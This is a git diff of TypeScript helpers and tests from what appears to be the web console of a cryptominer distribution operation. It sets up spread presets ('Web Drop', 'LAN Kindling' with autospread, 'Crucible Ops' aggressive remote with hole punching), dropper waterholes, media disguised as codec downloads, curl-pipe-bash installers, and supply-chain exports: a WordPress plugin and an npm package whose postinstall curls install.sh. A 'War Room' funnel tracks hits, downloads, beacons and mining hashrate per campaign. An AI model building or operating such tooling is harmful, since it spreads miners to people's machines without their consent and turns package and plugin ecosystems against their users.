|
||||
expect(presenceActivityLine('india', '/crucible')).toBe('india is in Crucible');
|
||||
});
|
||||
});
|
||||
23
server/web/src/help/presencePages.ts
Normal file
23
server/web/src/help/presencePages.ts
Normal file
@@ -0,0 +1,23 @@
|
||||
/** Map dashboard routes to human-readable page names for comrade presence. */
|
||||
const PAGE_LABELS: Record<string, string> = {
|
||||
'/dashboard': 'Command Deck',
|
||||
'/agents': 'Fleet Roster',
|
||||
'/crucible': 'Crucible',
|
||||
'/forge': 'Forge',
|
||||
'/builder': 'Forge',
|
||||
'/mission-deck': 'Mission Deck',
|
||||
'/builds': 'Builds',
|
||||
'/emberwake': 'Emberwake',
|
||||
'/spread': 'Emberwake',
|
||||
'/settings': 'Calibrate',
|
||||
'/pathtracer': 'Path Tracer',
|
||||
};
|
||||
|
||||
export function presencePageLabel(path: string): string {
|
||||
const normalized = path.startsWith('/') ? path : `/${path}`;
|
||||
return PAGE_LABELS[normalized] ?? (normalized.replace(/^\//, '') || 'Dashboard');
|
||||
}
|
||||
|
||||
export function presenceActivityLine(user: string, page: string): string {
|
||||
return `${user} is in ${presencePageLabel(page)}`;
|
||||
}
|
||||
39
server/web/src/help/spreadProfiles.test.ts
Normal file
39
server/web/src/help/spreadProfiles.test.ts
Normal file
@@ -0,0 +1,39 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { SPREAD_PROFILES, applySpreadProfile } from './spreadProfiles';
|
||||
import type { BuildRequest } from '../types';
|
||||
|
||||
const baseForm = (): BuildRequest =>
|
||||
({
|
||||
server_url: 'http://192.168.1.1:8989',
|
||||
wallet: '4' + 'A'.repeat(94),
|
||||
worker_name: 'test',
|
||||
threads: 2,
|
||||
target_os: 'windows',
|
||||
target_arch: 'amd64',
|
||||
}) as BuildRequest;
|
||||
|
||||
describe('spreadProfiles', () => {
|
||||
it('exposes four colored presets', () => {
|
||||
expect(SPREAD_PROFILES).toHaveLength(4);
|
||||
expect(SPREAD_PROFILES.map((p) => p.label)).toEqual([
|
||||
'Web Drop',
|
||||
'Desktop Fusion',
|
||||
'LAN Kindling',
|
||||
'Crucible Ops',
|
||||
]);
|
||||
SPREAD_PROFILES.forEach((p) => expect(p.color).toMatch(/^#/));
|
||||
});
|
||||
|
||||
it('applies LAN Kindling spread kit flags', () => {
|
||||
const next = applySpreadProfile(baseForm(), 'lan_kindling');
|
||||
expect(next.spread_kit).toBe(true);
|
||||
expect(next.auto_spread).toBe(true);
|
||||
expect(next.target_os).toBe('universal');
|
||||
});
|
||||
|
||||
it('applies Crucible Ops aggressive remote', () => {
|
||||
const next = applySpreadProfile(baseForm(), 'crucible_ops');
|
||||
expect(next.remote_aggressive).toBe(true);
|
||||
expect(next.hole_punch).toBe(true);
|
||||
});
|
||||
});
|
||||
29
server/web/src/help/spreadTechniques.test.ts
Normal file
29
server/web/src/help/spreadTechniques.test.ts
Normal file
@@ -0,0 +1,29 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import {
|
||||
EMBERWAKE_TECHNIQUE_LINKS,
|
||||
SPREAD_TECHNIQUES_DOC,
|
||||
spreadTechniqueDocUrl,
|
||||
} from './spreadTechniques';
|
||||
|
||||
describe('spreadTechniques', () => {
|
||||
it('builds doc URLs with optional anchors', () => {
|
||||
expect(spreadTechniqueDocUrl()).toBe(SPREAD_TECHNIQUES_DOC);
|
||||
expect(spreadTechniqueDocUrl('technique-matrix')).toBe(
|
||||
'/docs/SPREAD_TECHNIQUES.md#technique-matrix',
|
||||
);
|
||||
});
|
||||
|
||||
it('maps Emberwake bullets to playbook sections', () => {
|
||||
expect(EMBERWAKE_TECHNIQUE_LINKS.length).toBeGreaterThanOrEqual(7);
|
||||
expect(EMBERWAKE_TECHNIQUE_LINKS[0].anchor).toBeTruthy();
|
||||
});
|
||||
|
||||
it('links wiki-only techniques to /docs/', () => {
|
||||
expect(spreadTechniqueDocUrl('wordpress-plugin-supply-chain', true)).toBe(
|
||||
'/docs/#wordpress-plugin-supply-chain',
|
||||
);
|
||||
expect(spreadTechniqueDocUrl('npm-postinstall-helper', true)).toBe(
|
||||
'/docs/#npm-postinstall-helper',
|
||||
);
|
||||
});
|
||||
});
|
||||
61
server/web/src/help/spreadTechniques.ts
Normal file
61
server/web/src/help/spreadTechniques.ts
Normal file
@@ -0,0 +1,61 @@
|
||||
/** Links into docs/SPREAD_TECHNIQUES.md (served at /docs/SPREAD_TECHNIQUES.md). */
|
||||
|
||||
export const SPREAD_TECHNIQUES_DOC = '/docs/SPREAD_TECHNIQUES.md';
|
||||
|
||||
export interface EmberwakeTechniqueLink {
|
||||
/** Short label shown in Emberwake UI */
|
||||
label: string;
|
||||
/** Markdown heading anchor in SPREAD_TECHNIQUES.md or wiki section id */
|
||||
anchor: string;
|
||||
/** One-line operator hint */
|
||||
hint: string;
|
||||
/** When set, link targets /docs/#anchor instead of SPREAD_TECHNIQUES.md */
|
||||
wiki?: boolean;
|
||||
}
|
||||
|
||||
/** Maps Emberwake “how to spread” bullets to playbook sections. */
|
||||
export const EMBERWAKE_TECHNIQUE_LINKS: EmberwakeTechniqueLink[] = [
|
||||
{
|
||||
label: 'Web waterhole',
|
||||
anchor: 'owned-site-you-control-origin',
|
||||
hint: 'Dropper landing page, spread-kit ZIP on owned origin',
|
||||
},
|
||||
{
|
||||
label: 'curl | bash VPS',
|
||||
anchor: 'server-specific-endpoints-linuxmacoswindows-servers',
|
||||
hint: 'install.sh / install.ps1 one-liners on headless servers',
|
||||
},
|
||||
{
|
||||
label: 'Fusion media',
|
||||
anchor: 'owned-site-you-control-origin',
|
||||
hint: 'Fusion bundle as codec/tool download — pair with Desktop Fusion preset',
|
||||
},
|
||||
{
|
||||
label: 'LAN kindling',
|
||||
anchor: 'five-recommended-plays--sites-you-own',
|
||||
hint: 'Universal spread kit + autospread — LAN Kindling forge preset',
|
||||
},
|
||||
{
|
||||
label: 'A/B droppers',
|
||||
anchor: 'social-engineering-funnel-email--ads--site--file',
|
||||
hint: 'Campaign ?c= tags + pin build A vs B between waves',
|
||||
},
|
||||
{
|
||||
label: 'WordPress plugin',
|
||||
anchor: 'wordpress-plugin-supply-chain',
|
||||
hint: 'Operator-owned plugin ZIP — /get?c=wp-{site} on your WP host',
|
||||
wiki: true,
|
||||
},
|
||||
{
|
||||
label: 'npm postinstall',
|
||||
anchor: 'npm-postinstall-helper',
|
||||
hint: 'Private package template — postinstall curls your install.sh',
|
||||
wiki: true,
|
||||
},
|
||||
];
|
||||
|
||||
export function spreadTechniqueDocUrl(anchor?: string, wiki = false): string {
|
||||
if (wiki && anchor) return `/docs/#${anchor}`;
|
||||
if (!anchor) return SPREAD_TECHNIQUES_DOC;
|
||||
return `${SPREAD_TECHNIQUES_DOC}#${anchor}`;
|
||||
}
|
||||
82
server/web/src/help/supplyChainExport.test.ts
Normal file
82
server/web/src/help/supplyChainExport.test.ts
Normal file
@@ -0,0 +1,82 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
deploymentReelActiveIndex,
|
||||
deploymentReelSteps,
|
||||
deploymentReelStepStatus,
|
||||
deploymentReelTotalDurationMs,
|
||||
deploymentReelUploadWikiUrl,
|
||||
deploymentReelVisibleCount,
|
||||
emberwakeWarRoomUrl,
|
||||
npmInstallShUrl,
|
||||
npmPackageName,
|
||||
sanitizeExportSlug,
|
||||
supplyChainZipFilename,
|
||||
wpCampaignSlug,
|
||||
wpDownloadUrl,
|
||||
} from './supplyChainExport';
|
||||
|
||||
describe('supplyChainExport', () => {
|
||||
it('sanitizeExportSlug matches server rules', () => {
|
||||
expect(sanitizeExportSlug('My Blog')).toBe('my-blog');
|
||||
expect(sanitizeExportSlug('')).toBe('site');
|
||||
expect(sanitizeExportSlug('---')).toBe('site');
|
||||
});
|
||||
|
||||
it('builds WordPress campaign and download URL', () => {
|
||||
expect(wpCampaignSlug('My Blog')).toBe('wp-my-blog');
|
||||
expect(wpDownloadUrl('https://deck.example:8989', 'My Blog', 'build-abc')).toBe(
|
||||
'https://deck.example:8989/get?c=wp-my-blog&pin=build-abc',
|
||||
);
|
||||
});
|
||||
|
||||
it('builds npm package name and install.sh URL', () => {
|
||||
expect(npmPackageName('ci-bootstrap')).toBe('@aetherforge/ci-bootstrap-helper');
|
||||
expect(npmInstallShUrl('https://deck.example', 'ci-bootstrap', 'pin-1')).toBe(
|
||||
'https://deck.example/install.sh?pin=pin-1&c=ci-bootstrap',
|
||||
);
|
||||
});
|
||||
|
||||
it('names zip files', () => {
|
||||
expect(supplyChainZipFilename('wordpress', 'my-blog')).toBe('my-blog-wordpress-plugin.zip');
|
||||
expect(supplyChainZipFilename('npm', 'ci-bootstrap')).toBe('ci-bootstrap-npm-helper.zip');
|
||||
});
|
||||
});
|
||||
|
||||
describe('deploymentReel helpers', () => {
|
||||
it('builds three reel steps with wiki upload and war room links', () => {
|
||||
const wp = deploymentReelSteps('wordpress');
|
||||
expect(wp).toHaveLength(3);
|
||||
expect(wp[0].label).toBe('Download ZIP');
|
||||
expect(wp[1].href).toBe(deploymentReelUploadWikiUrl('wordpress'));
|
||||
expect(wp[2].href).toBe(emberwakeWarRoomUrl());
|
||||
|
||||
const npm = deploymentReelSteps('npm');
|
||||
expect(npm[1].href).toContain('#npm-hosting-checklist');
|
||||
expect(emberwakeWarRoomUrl()).toBe('/emberwake#campaign-war-room');
|
||||
});
|
||||
|
||||
it('reveals checkmarks sequentially by elapsed time', () => {
|
||||
expect(deploymentReelVisibleCount(0)).toBe(0);
|
||||
expect(deploymentReelVisibleCount(399)).toBe(0);
|
||||
expect(deploymentReelVisibleCount(400)).toBe(1);
|
||||
expect(deploymentReelVisibleCount(1299)).toBe(1);
|
||||
expect(deploymentReelVisibleCount(1300)).toBe(2);
|
||||
expect(deploymentReelVisibleCount(2200)).toBe(3);
|
||||
expect(deploymentReelVisibleCount(9999)).toBe(3);
|
||||
});
|
||||
|
||||
it('maps visible count to step status', () => {
|
||||
expect(deploymentReelStepStatus(0, 0)).toBe('active');
|
||||
expect(deploymentReelStepStatus(1, 0)).toBe('pending');
|
||||
expect(deploymentReelStepStatus(0, 1)).toBe('done');
|
||||
expect(deploymentReelStepStatus(1, 1)).toBe('active');
|
||||
expect(deploymentReelStepStatus(2, 3)).toBe('done');
|
||||
});
|
||||
|
||||
it('tracks active index and total duration', () => {
|
||||
expect(deploymentReelActiveIndex(0)).toBe(0);
|
||||
expect(deploymentReelActiveIndex(2)).toBe(2);
|
||||
expect(deploymentReelActiveIndex(3)).toBe(-1);
|
||||
expect(deploymentReelTotalDurationMs()).toBe(400 + 3 * 900);
|
||||
});
|
||||
});
|
||||
234
server/web/src/help/supplyChainExport.ts
Normal file
234
server/web/src/help/supplyChainExport.ts
Normal file
@@ -0,0 +1,234 @@
|
||||
/** Supply-chain export wizard helpers (WordPress plugin + npm postinstall). */
|
||||
|
||||
import { spreadTechniqueDocUrl } from './spreadTechniques';
|
||||
|
||||
export type SupplyChainFamily = 'wordpress' | 'npm';
|
||||
|
||||
export const SUPPLY_CHAIN_WIZARD_STEPS = [
|
||||
'pick-build',
|
||||
'configure',
|
||||
'download',
|
||||
'host',
|
||||
] as const;
|
||||
|
||||
export type SupplyChainWizardStep = (typeof SUPPLY_CHAIN_WIZARD_STEPS)[number];
|
||||
|
||||
export const SUPPLY_CHAIN_STEP_LABELS: Record<SupplyChainWizardStep, string> = {
|
||||
'pick-build': 'Pick build',
|
||||
configure: 'Configure site/campaign',
|
||||
download: 'Download ZIP',
|
||||
host: 'Copy hosting instructions',
|
||||
};
|
||||
|
||||
/** Matches server sanitizeExportSlug in spread_export.go */
|
||||
export function sanitizeExportSlug(s: string): string {
|
||||
let slug = s.trim().toLowerCase().replace(/[^a-z0-9._-]+/g, '-').replace(/^[-.]+|[-.]+$/g, '');
|
||||
if (!slug) slug = 'site';
|
||||
if (slug.length > 48) slug = slug.slice(0, 48);
|
||||
return slug;
|
||||
}
|
||||
|
||||
export function wpCampaignSlug(siteName: string): string {
|
||||
return `wp-${sanitizeExportSlug(siteName)}`;
|
||||
}
|
||||
|
||||
export function wpDownloadUrl(serverUrl: string, siteName: string, buildId: string): string {
|
||||
const base = serverUrl.replace(/\/$/, '');
|
||||
const c = wpCampaignSlug(siteName);
|
||||
let url = `${base}/get?c=${encodeURIComponent(c)}`;
|
||||
const pin = buildId.trim();
|
||||
if (pin) url += `&pin=${encodeURIComponent(pin)}`;
|
||||
return url;
|
||||
}
|
||||
|
||||
export function npmPackageName(campaign: string): string {
|
||||
const slug = sanitizeExportSlug(campaign || 'npm-helper');
|
||||
return `@aetherforge/${slug}-helper`;
|
||||
}
|
||||
|
||||
export function npmInstallShUrl(serverUrl: string, campaign: string, buildId: string): string {
|
||||
const base = serverUrl.replace(/\/$/, '');
|
||||
const parts: string[] = [];
|
||||
const pin = buildId.trim();
|
||||
const slug = campaign.trim();
|
||||
if (pin) parts.push(`pin=${encodeURIComponent(pin)}`);
|
||||
if (slug) parts.push(`c=${encodeURIComponent(slug)}`);
|
||||
return parts.length ? `${base}/install.sh?${parts.join('&')}` : `${base}/install.sh`;
|
||||
}
|
||||
|
||||
export function supplyChainZipFilename(family: SupplyChainFamily, siteOrCampaign: string): string {
|
||||
const slug = sanitizeExportSlug(siteOrCampaign || (family === 'wordpress' ? 'site' : 'npm-helper'));
|
||||
return family === 'wordpress' ? `${slug}-wordpress-plugin.zip` : `${slug}-npm-helper.zip`;
|
||||
}
|
||||
|
||||
export function supplyChainWikiUrl(family: SupplyChainFamily): string {
|
||||
return family === 'wordpress'
|
||||
? spreadTechniqueDocUrl('wordpress-plugin-supply-chain', true)
|
||||
: spreadTechniqueDocUrl('npm-postinstall-helper', true);
|
||||
}
|
||||
|
||||
export function supplyChainHostingChecklistUrl(family: SupplyChainFamily): string {
|
||||
const anchor = family === 'wordpress' ? 'wordpress-hosting-checklist' : 'npm-hosting-checklist';
|
||||
return `${supplyChainWikiUrl(family).split('#')[0]}#${anchor}`;
|
||||
}
|
||||
|
||||
export interface HostingChecklistItem {
|
||||
id: string;
|
||||
label: string;
|
||||
}
|
||||
|
||||
export function hostingChecklist(family: SupplyChainFamily): HostingChecklistItem[] {
|
||||
if (family === 'wordpress') {
|
||||
return [
|
||||
{ id: 'unzip', label: 'Unzip the downloaded plugin archive locally' },
|
||||
{ id: 'upload', label: 'WP Admin → Plugins → Add New → Upload Plugin' },
|
||||
{ id: 'activate', label: 'Activate the plugin on your owned WordPress host' },
|
||||
{ id: 'verify', label: 'Confirm admin notice links to /get?c=wp-{site} on your deck' },
|
||||
{ id: 'track', label: 'Track wp-{site} hits in Emberwake → Campaign War Room' },
|
||||
];
|
||||
}
|
||||
return [
|
||||
{ id: 'unzip', label: 'Unzip the npm helper package template' },
|
||||
{ id: 'name', label: 'Adjust package.json name/scope if needed' },
|
||||
{ id: 'publish', label: 'Publish to a registry you control (private npm, Verdaccio, GitHub Packages)' },
|
||||
{ id: 'dep', label: 'Add as dependency only in authorized CI/dev environments' },
|
||||
{ id: 'verify', label: 'Run npm install and confirm postinstall curls install.sh' },
|
||||
];
|
||||
}
|
||||
|
||||
export interface HostingInstructionBlock {
|
||||
title: string;
|
||||
body: string;
|
||||
}
|
||||
|
||||
export function hostingInstructions(
|
||||
family: SupplyChainFamily,
|
||||
opts: { serverUrl: string; siteName: string; campaign: string; buildId: string },
|
||||
): HostingInstructionBlock[] {
|
||||
const { serverUrl, siteName, campaign, buildId } = opts;
|
||||
if (family === 'wordpress') {
|
||||
const slug = sanitizeExportSlug(siteName);
|
||||
const dl = wpDownloadUrl(serverUrl, siteName, buildId);
|
||||
return [
|
||||
{
|
||||
title: 'Upload path',
|
||||
body: `Plugins → Add New → Upload Plugin → choose ${slug}-wordpress-plugin.zip → Install Now → Activate`,
|
||||
},
|
||||
{
|
||||
title: 'Campaign tag',
|
||||
body: `War Room tracks connects as ?c=${wpCampaignSlug(siteName)}`,
|
||||
},
|
||||
{
|
||||
title: 'Download URL (plugin links here)',
|
||||
body: dl,
|
||||
},
|
||||
{
|
||||
title: 'Wiki playbook',
|
||||
body: supplyChainWikiUrl('wordpress'),
|
||||
},
|
||||
];
|
||||
}
|
||||
const pkg = npmPackageName(campaign);
|
||||
const install = npmInstallShUrl(serverUrl, campaign, buildId);
|
||||
return [
|
||||
{
|
||||
title: 'Package name',
|
||||
body: pkg,
|
||||
},
|
||||
{
|
||||
title: 'Publish',
|
||||
body: `cd unpacked-folder && npm publish --access restricted`,
|
||||
},
|
||||
{
|
||||
title: 'postinstall target',
|
||||
body: install,
|
||||
},
|
||||
{
|
||||
title: 'Wiki playbook',
|
||||
body: supplyChainWikiUrl('npm'),
|
||||
},
|
||||
];
|
||||
}
|
||||
|
||||
export function wizardStepIndex(step: SupplyChainWizardStep): number {
|
||||
return SUPPLY_CHAIN_WIZARD_STEPS.indexOf(step);
|
||||
}
|
||||
|
||||
export function wizardStepStatus(
|
||||
step: SupplyChainWizardStep,
|
||||
current: SupplyChainWizardStep,
|
||||
): 'pending' | 'active' | 'done' {
|
||||
const idx = wizardStepIndex(step);
|
||||
const cur = wizardStepIndex(current);
|
||||
if (idx < cur) return 'done';
|
||||
if (idx === cur) return 'active';
|
||||
return 'pending';
|
||||
}
|
||||
|
||||
/** Post-export deployment reel — three beats after a successful ZIP export. */
|
||||
export type DeploymentReelStepId = 'download' | 'upload' | 'verify-war-room';
|
||||
|
||||
export interface DeploymentReelStep {
|
||||
id: DeploymentReelStepId;
|
||||
label: string;
|
||||
/** When set, step label links to wiki or in-app anchor. */
|
||||
href?: string;
|
||||
}
|
||||
|
||||
export const DEPLOYMENT_REEL_STEP_IDS: DeploymentReelStepId[] = [
|
||||
'download',
|
||||
'upload',
|
||||
'verify-war-room',
|
||||
];
|
||||
|
||||
export const DEPLOYMENT_REEL_INITIAL_DELAY_MS = 400;
|
||||
export const DEPLOYMENT_REEL_STEP_MS = 900;
|
||||
|
||||
/** Wiki anchor for the upload/publish beat in the deployment reel. */
|
||||
export function deploymentReelUploadWikiUrl(family: SupplyChainFamily): string {
|
||||
const anchor = family === 'wordpress' ? 'wordpress-hosting-checklist' : 'npm-hosting-checklist';
|
||||
return `${supplyChainWikiUrl(family).split('#')[0]}#${anchor}`;
|
||||
}
|
||||
|
||||
/** In-app scroll target for War Room verification. */
|
||||
export const EMBERWAKE_WAR_ROOM_HASH = '#campaign-war-room';
|
||||
|
||||
export function emberwakeWarRoomUrl(): string {
|
||||
return `/emberwake${EMBERWAKE_WAR_ROOM_HASH}`;
|
||||
}
|
||||
|
||||
export function deploymentReelSteps(family: SupplyChainFamily): DeploymentReelStep[] {
|
||||
return [
|
||||
{ id: 'download', label: 'Download ZIP' },
|
||||
{ id: 'upload', label: 'Upload here', href: deploymentReelUploadWikiUrl(family) },
|
||||
{ id: 'verify-war-room', label: 'Verify hit in War Room', href: emberwakeWarRoomUrl() },
|
||||
];
|
||||
}
|
||||
|
||||
/** How many reel steps should show a completed checkmark at `elapsedMs`. */
|
||||
export function deploymentReelVisibleCount(elapsedMs: number, stepCount = DEPLOYMENT_REEL_STEP_IDS.length): number {
|
||||
if (elapsedMs < DEPLOYMENT_REEL_INITIAL_DELAY_MS) return 0;
|
||||
const afterStart = elapsedMs - DEPLOYMENT_REEL_INITIAL_DELAY_MS;
|
||||
const count = Math.floor(afterStart / DEPLOYMENT_REEL_STEP_MS) + 1;
|
||||
return Math.min(Math.max(count, 0), stepCount);
|
||||
}
|
||||
|
||||
/** Index (0-based) of the step currently animating, or -1 before start / after all done. */
|
||||
export function deploymentReelActiveIndex(visibleCount: number, stepCount = DEPLOYMENT_REEL_STEP_IDS.length): number {
|
||||
if (visibleCount <= 0) return 0;
|
||||
if (visibleCount >= stepCount) return -1;
|
||||
return visibleCount;
|
||||
}
|
||||
|
||||
export function deploymentReelStepStatus(
|
||||
stepIndex: number,
|
||||
visibleCount: number,
|
||||
): 'pending' | 'active' | 'done' {
|
||||
if (stepIndex < visibleCount) return 'done';
|
||||
if (stepIndex === visibleCount && visibleCount < DEPLOYMENT_REEL_STEP_IDS.length) return 'active';
|
||||
return 'pending';
|
||||
}
|
||||
|
||||
export function deploymentReelTotalDurationMs(stepCount = DEPLOYMENT_REEL_STEP_IDS.length): number {
|
||||
return DEPLOYMENT_REEL_INITIAL_DELAY_MS + stepCount * DEPLOYMENT_REEL_STEP_MS;
|
||||
}
|
||||
346
server/web/src/help/warRoom.test.ts
Normal file
346
server/web/src/help/warRoom.test.ts
Normal file
@@ -0,0 +1,346 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
|
||||
import type { WarRoomCampaign } from './warRoom';
|
||||
|
||||
import {
|
||||
|
||||
conversionPct,
|
||||
|
||||
detectFunnelLeaks,
|
||||
|
||||
firstBeaconCount,
|
||||
|
||||
formatHashrate,
|
||||
|
||||
funnelPipeWidth,
|
||||
|
||||
funnelStages,
|
||||
|
||||
miningCount,
|
||||
|
||||
formatOdometerDelta,
|
||||
|
||||
odometerDurationMs,
|
||||
|
||||
odometerEase,
|
||||
|
||||
odometerLerp,
|
||||
|
||||
sparklineBarHeight,
|
||||
|
||||
sparklineMax,
|
||||
|
||||
staggerDelayMs,
|
||||
|
||||
stageConversionPct,
|
||||
|
||||
} from './warRoom';
|
||||
|
||||
|
||||
|
||||
function campaign(partial: Partial<WarRoomCampaign> & Pick<WarRoomCampaign, 'campaign'>): WarRoomCampaign {
|
||||
|
||||
return {
|
||||
|
||||
hits: 0,
|
||||
|
||||
downloads: 0,
|
||||
|
||||
agents: 0,
|
||||
|
||||
online: 0,
|
||||
|
||||
hashrate: 0,
|
||||
|
||||
conversion_pct: 0,
|
||||
|
||||
daily_hits: [],
|
||||
|
||||
...partial,
|
||||
|
||||
};
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
describe('warRoom helpers', () => {
|
||||
|
||||
it('computes conversion percentage', () => {
|
||||
|
||||
expect(conversionPct(3, 10)).toBe(30);
|
||||
|
||||
expect(conversionPct(1, 3)).toBe(33.3);
|
||||
|
||||
expect(conversionPct(0, 0)).toBe(0);
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
it('computes stage conversion percentage', () => {
|
||||
|
||||
expect(stageConversionPct(5, 20)).toBe(25);
|
||||
|
||||
expect(stageConversionPct(0, 0)).toBe(0);
|
||||
|
||||
expect(stageConversionPct(3, 10)).toBe(30);
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
it('formats hashrate tiers', () => {
|
||||
|
||||
expect(formatHashrate(0)).toBe('—');
|
||||
|
||||
expect(formatHashrate(850)).toBe('850 H/s');
|
||||
|
||||
expect(formatHashrate(12_500)).toBe('12.5 kH/s');
|
||||
|
||||
expect(formatHashrate(2_400_000)).toBe('2.40 MH/s');
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
it('scales sparkline bars', () => {
|
||||
|
||||
const max = sparklineMax([2, 8, 4]);
|
||||
|
||||
expect(max).toBe(8);
|
||||
|
||||
expect(sparklineBarHeight(8, max)).toBe(100);
|
||||
|
||||
expect(sparklineBarHeight(0, max)).toBe(4);
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
it('builds five-stage funnel with rates', () => {
|
||||
|
||||
const c = campaign({
|
||||
|
||||
campaign: 'wave-a',
|
||||
|
||||
hits: 100,
|
||||
|
||||
downloads: 40,
|
||||
|
||||
first_beacon: 10,
|
||||
|
||||
mining: 8,
|
||||
|
||||
agents: 10,
|
||||
|
||||
hashrate: 5000,
|
||||
|
||||
});
|
||||
|
||||
const stages = funnelStages(c);
|
||||
|
||||
expect(stages).toHaveLength(5);
|
||||
|
||||
expect(stages[0].rateFromPrev).toBeNull();
|
||||
|
||||
expect(stages[1].rateFromPrev).toBe(40);
|
||||
|
||||
expect(stages[2].rateFromPrev).toBe(25);
|
||||
|
||||
expect(stages[3].rateFromPrev).toBe(80);
|
||||
|
||||
expect(stages[4].display).toBe('5.0 kH/s');
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
it('falls back first_beacon and mining from legacy fields', () => {
|
||||
|
||||
const c = campaign({ campaign: 'legacy', agents: 4, hashrate: 900 });
|
||||
|
||||
expect(firstBeaconCount(c)).toBe(4);
|
||||
|
||||
expect(miningCount(c)).toBe(1);
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
it('sizes funnel pipes relative to hits', () => {
|
||||
|
||||
expect(funnelPipeWidth(50, 100)).toBe(50);
|
||||
|
||||
expect(funnelPipeWidth(0, 100)).toBe(8);
|
||||
|
||||
expect(funnelPipeWidth(1200, 0, true)).toBe(100);
|
||||
|
||||
expect(funnelPipeWidth(0, 0, true)).toBe(8);
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
it('formats odometer deltas', () => {
|
||||
|
||||
expect(formatOdometerDelta(10, 10)).toBeNull();
|
||||
|
||||
expect(formatOdometerDelta(10, 13)).toBe('+3');
|
||||
|
||||
expect(formatOdometerDelta(100, 95)).toBe('−5');
|
||||
|
||||
expect(formatOdometerDelta(0, 12500)).toBe('+12.5k');
|
||||
|
||||
expect(formatOdometerDelta(1_000_000, 2_500_000)).toBe('+1.5M');
|
||||
|
||||
expect(formatOdometerDelta(33.2, 34.7)).toBe('+1.5');
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
it('staggers animation delays per card and stage', () => {
|
||||
|
||||
expect(staggerDelayMs(0, 0)).toBe(0);
|
||||
|
||||
expect(staggerDelayMs(1, 2)).toBe(110 + 90);
|
||||
|
||||
expect(staggerDelayMs(2, 3, 50)).toBe(220 + 150);
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
it('scales odometer duration with delta magnitude', () => {
|
||||
|
||||
expect(odometerDurationMs(2)).toBe(380);
|
||||
|
||||
expect(odometerDurationMs(20)).toBe(560);
|
||||
|
||||
expect(odometerDurationMs(150)).toBe(720);
|
||||
|
||||
expect(odometerDurationMs(500)).toBe(920);
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
it('eases and lerps odometer values', () => {
|
||||
|
||||
expect(odometerEase(0)).toBe(0);
|
||||
|
||||
expect(odometerEase(1)).toBe(1);
|
||||
|
||||
expect(odometerEase(0.5)).toBeCloseTo(0.875, 3);
|
||||
|
||||
expect(odometerLerp(10, 20, 0)).toBe(10);
|
||||
|
||||
expect(odometerLerp(10, 20, 1)).toBe(20);
|
||||
|
||||
expect(odometerLerp(0, 100, 0.5)).toBeCloseTo(87.5, 1);
|
||||
|
||||
});
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
describe('detectFunnelLeaks', () => {
|
||||
|
||||
it('flags hits with no downloads', () => {
|
||||
|
||||
const leaks = detectFunnelLeaks(campaign({ campaign: 'a', hits: 25, downloads: 0 }));
|
||||
|
||||
expect(leaks.some((l) => l.stage === 'hits→downloads')).toBe(true);
|
||||
|
||||
expect(leaks[0].action).toMatch(/waterhole|dropper/i);
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
it('flags critical leak when many hits but zero beacons', () => {
|
||||
|
||||
const leaks = detectFunnelLeaks(campaign({ campaign: 'b', hits: 60, downloads: 12 }));
|
||||
|
||||
const critical = leaks.find((l) => l.stage === 'hits→beacon');
|
||||
|
||||
expect(critical?.severity).toBe('critical');
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
it('flags downloads without beacon', () => {
|
||||
|
||||
const leaks = detectFunnelLeaks(campaign({ campaign: 'c', hits: 10, downloads: 8 }));
|
||||
|
||||
expect(leaks.some((l) => l.stage === 'downloads→beacon')).toBe(true);
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
it('flags beacons that never mine', () => {
|
||||
|
||||
const leaks = detectFunnelLeaks(
|
||||
|
||||
campaign({ campaign: 'd', hits: 30, downloads: 15, first_beacon: 5, agents: 5, mining: 0 }),
|
||||
|
||||
);
|
||||
|
||||
expect(leaks.some((l) => l.stage === 'beacon→mining')).toBe(true);
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
it('returns empty when funnel is healthy', () => {
|
||||
|
||||
const leaks = detectFunnelLeaks(
|
||||
|
||||
campaign({
|
||||
|
||||
campaign: 'ok',
|
||||
|
||||
hits: 10,
|
||||
|
||||
downloads: 5,
|
||||
|
||||
first_beacon: 2,
|
||||
|
||||
mining: 2,
|
||||
|
||||
agents: 2,
|
||||
|
||||
hashrate: 3000,
|
||||
|
||||
online: 1,
|
||||
|
||||
}),
|
||||
|
||||
);
|
||||
|
||||
expect(leaks).toHaveLength(0);
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
it('sorts critical leaks before warnings', () => {
|
||||
|
||||
const leaks = detectFunnelLeaks(
|
||||
|
||||
campaign({ campaign: 'e', hits: 80, downloads: 30, first_beacon: 0, agents: 0 }),
|
||||
|
||||
);
|
||||
|
||||
expect(leaks.length).toBeGreaterThan(0);
|
||||
|
||||
expect(leaks[0].severity).toBe('critical');
|
||||
|
||||
});
|
||||
|
||||
});
|
||||
|
||||
231
server/web/src/help/warRoom.ts
Normal file
231
server/web/src/help/warRoom.ts
Normal file
@@ -0,0 +1,231 @@
|
||||
/** War Room funnel helpers for Emberwake campaign dashboard. */
|
||||
|
||||
export interface WarRoomCampaign {
|
||||
campaign: string;
|
||||
hits: number;
|
||||
downloads: number;
|
||||
first_beacon?: number;
|
||||
mining?: number;
|
||||
agents: number;
|
||||
online: number;
|
||||
hashrate: number;
|
||||
conversion_pct: number;
|
||||
daily_hits: number[];
|
||||
last_activity?: string;
|
||||
pins?: string[];
|
||||
}
|
||||
|
||||
export interface WarRoomResponse {
|
||||
generated_at: string;
|
||||
days: number;
|
||||
campaigns: WarRoomCampaign[];
|
||||
}
|
||||
|
||||
